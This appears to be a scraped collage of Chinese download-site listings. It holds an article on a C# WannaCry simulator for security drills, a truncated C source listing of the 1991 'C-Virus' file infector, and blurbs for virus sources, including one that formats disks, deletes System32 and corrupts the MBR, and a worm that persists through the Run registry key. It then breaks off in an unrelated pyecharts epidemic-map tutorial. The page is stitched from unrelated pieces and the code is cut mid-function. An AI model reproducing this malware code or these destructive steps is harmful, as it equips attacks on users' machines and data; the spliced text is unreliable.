《基于C#编写的WannaCry模拟病毒：网络安全应急演练的关键工具》 WannaCry，又称为“想哭”勒索病毒，是2017年全球范围内引起广泛关注的网络安全事件。它利用了Windows操作系统中的 EternalBlue 漏洞进行传播，对无数计算机系统造成了巨大破坏。在网络安全领域，为了提升防御能力并进行应急演练，开发类似WannaCry的模拟病毒程序是常见的一种训练方法。本项目就是一个基于C#编程语言实现的WannaCry模拟病毒，主要用于教育和演练目的。 C#是一种强大的、类型安全的面向对象的编程语言，由微软公司开发，广泛应用于Windows平台的软件开发。在创建WannaCry模拟病毒时，C#的强类型和面向对象特性使得代码更易于理解和维护。开发者可以利用C#的.NET框架，访问丰富的类库来实现网络通信、文件操作等关键功能，这些功能在病毒模拟中至关重要。 在WannaCry模拟病毒的开发中，核心知识点包括： 1. **EternalBlue漏洞利用**：这是WannaCry传播的关键，它是一个针对SMB（Server Message Block）协议的远程代码执行漏洞。模拟病毒需要复现这一过程，通过构造特定的网络请求，触发目标系统的漏洞。 2. **端口扫描与传播机制**：WannaCry会扫描网络中的开放445端口，寻找可攻击的目标。模拟病毒同样需要实现这一功能，以模拟病毒的自我复制和传播。 3. **加密算法**：WannaCry使用RSA和AES加密算法对用户文件进行加密，模拟病毒也需要实现类似的加密逻辑，但通常会在解密过程中提供帮助，以便于演练后的恢复。 4. **文件操作与感染**：病毒需要能够识别和感染特定类型的文件。模拟病毒需谨慎设计文件遍历和感染策略，确保在演练中不会真正造成数据损失。 5. **用户界面与交互**：尽管是模拟病毒，但为了增加真实性，可以设计一个简单的用户界面，显示勒索信息，以及可能的解密步骤。 6. **日志记录与分析**：在演练过程中，记录病毒行为和系统响应的数据非常重要。开发者应加入日志系统，以便后期分析演练效果。 7. **异常处理与防护机制**：为了防止模拟病毒在非演练环境中运行，需要加入安全防护措施，如仅在特定环境或有特定标志时才激活病毒行为。 8. **代码签名与反调试技术**：原版WannaCry使用了代码签名来提高其可信度，并采用反调试技术来逃避检测。模拟病毒可以省略这些，以避免误导或混淆。 这个名为“WGT-code”的压缩包文件很可能是包含了完整的源代码和相关文档，用于学习和分析WannaCry模拟病毒的工作原理。对于网络安全专业人员来说，深入研究此类代码可以帮助他们更好地理解恶意软件的行为模式，从而提升防御和应对能力。同时，这也是一个宝贵的教育资源，让学员在可控环境中实践网络安全防御策略。

金猪报喜病毒源码

两个C++ 病毒代码简单示例，供学习病毒原理用，不可用于非法目的

[ISMS-C-11]病毒防范策略

/* C-Virus: A generic .COM and .EXE infector Written by Nowhere Man Project started and completed on 6-24-91 Written in Turbo C++ v1.00 (works fine with Turbo C v2.00, too) */ #pragma inline // Compile to .ASM #include #include #include #include #include void hostile_activity(void); int infected(char *); void spread(char *, char *); void small_print(char *); char *victim(void); #define DEBUG #define ONE_KAY 1024 // 1k #define TOO_SMALL ((6 * ONE_KAY) + 300) // 6k+ size minimum #define SIGNATURE "NMAN" // Sign of infection int main(void) { /* The main program */ spread(_argv[0], victim()); // Perform infection small_print("Out of memory\r\n"); // Print phony error return(1); // Fake failure... } void hostile_activity(void) { /* Put whatever you feel like doing here...I chose to make this part harmless, but if you're feeling nasty, go ahead and have some fun... */ small_print("\a\a\aAll files infected. Mission complete.\r\n"); exit(2); } int infected(char *fname) { /* This function determines if fname is infected */ FILE *fp; // File handle char sig[5]; // Virus signature fp = fopen(fname, "rb"); fseek(fp, 28L, SEEK_SET); fread(sig, sizeof(sig) - 1, 1, fp); #ifdef DEBUG printf("Signature for %s: %s\n", fname, sig); #endif fclose(fp); return(strncmp(sig, SIGNATURE, sizeof(sig) - 1) == 0); } void small_print(char *string) { /* This function is a small, quick print routine */ asm { push si mov si,string mov ah,0xE }

用C写感染型病毒源码。以往很多感染型病毒的源码都是用汇编写的，这个演示版的病毒是用C语言编写外加少量的汇编，在VC6.0下编译通过。在WinXp和Win7下测试成功。 可以感染exe文件和dll文件。 被感染的可执行文件会被添加一个新节“.virus”。病毒长度3296字节。这个是演示版的没有恶意代码和攻击性。代码仅供学习，使用本代码所产生的法律后果与本人无关，谢谢合作。

一个功能齐全的c病毒源码，对于初学者是一个非常好的例子，简单易懂而又五脏俱全

用C++代码做出来的可以强力破坏电脑的文件，十分厉害，不要在实体机上运行，若出事故均不赔偿！ 不要拿这病毒去干坏事哦！ 适用电脑：WinXp~Win10（在此范围内的电脑版本运行起来破坏力更大） 病毒发生过程 1.释放病毒文件到C盘和D盘 2.删除gho映像文件 3.格式化硬盘 4.删除系统重要文件（System32） 5.删除所有注册表 6.永久禁用网络 7.破坏MBR 8.完美帅气蓝屏死机 9.重启 10.电脑报废 过程中可能会有些地方没有正常运行，这是正常情况 然后将破坏MBR的代码另存到D盘中，名为MBR，运行后再5秒内赶紧关闭，再运行总代码，就可以成功运行了 作品耗时：3个月 工作室：X3fang工作室

VC++蠕虫代码，包含镜像劫持实现功能，利用copy函数自我复制到C:\Windows\Sytem32路径下，写入注册表HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run路径下实现开机自启动。 此病毒无害，启动后会在桌面上弹文字。也可以后续添加其他的功能。 在VS2022环境测试下编译通过。 麻雀虽小五脏俱全，蠕虫基本实现功能都有。仅供交流与学习参考，请勿进行违法活动。如有违法用途，作者不承担连带相关责任。

需知： (1) pyecharts 1.v版本以上的地图制作和pyecharts1.v版本以下的地图制作不一样，更新pyechatrs后在低版本下的有些方法用不了，他们不是相互兼容的。这个疫情地图是在pyecharts1.7版本下制作的。 (2) pyecharts1.v版本以下制作疫情地图的请看我博客其他指定制作地图的内容。 背景流程： 1、通过python爬虫获取疫情信息数据； 2、python对疫情数据做处理； 3、绘制疫情地图。 1、爬虫获取数据： 爬取的疫情详情网页是：丁香园-丁香医生的疫情网页 网页地址：https://3g.dxy.cn/newh5/view/pneumonia_